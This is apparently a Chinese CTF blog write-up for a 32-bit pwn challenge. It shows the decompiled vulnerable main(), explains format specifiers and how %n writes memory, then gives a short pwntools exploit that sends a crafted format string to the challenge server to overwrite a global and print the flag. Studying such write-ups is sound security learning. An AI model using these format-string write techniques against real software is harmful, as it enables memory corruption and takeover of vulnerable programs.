13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]

v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 012u);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}

printf(&s) 正确的写法应该是printf(“%s”,s),这是一个格式化字符串漏洞,只有当pwnme是8的时候,才会调用system(“cat flag”),但是并没找到对pwnme赋值的操作,所以可以首先找到pwnme的地址,然后利用格式化字符串漏洞用%n将pwnme地址写入8

%d - 十进制 - 输出十进制整数。加上%n可以用于指向地址写数据
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数。如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%c - 字符 - 输出字符,加上%n可用于指向地址写数据
%p - 指针 - 指针地址。输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit
%n - 到目前为止所写的字符数。%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

解题思路

定位pwnme的地址

pwnme属于.bss段,是全局变量,没有开启pie保护,所以pwnme的地址是固定的
直接用ida查看:地址是0804A068
用odjdump查看:objdump -D 5 | grep pwnme

覆盖pwnme的地址

测一下偏移
在第二个printf函数处下断点gdb调试,确定输入的数据是栈中的第几个参数来确定偏移

偏移为10

exp

1
2
3
4
5
6
from pwn import *
p = remote('111.198.29.45','46016')
p.send('AAAA')
pwnme = p32(0x0804A068)
p.send(pwnme+'AAAA'+'%10$n')#pwnme是四位,需要用AAAA填充为8位,使pwnme为8
p.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!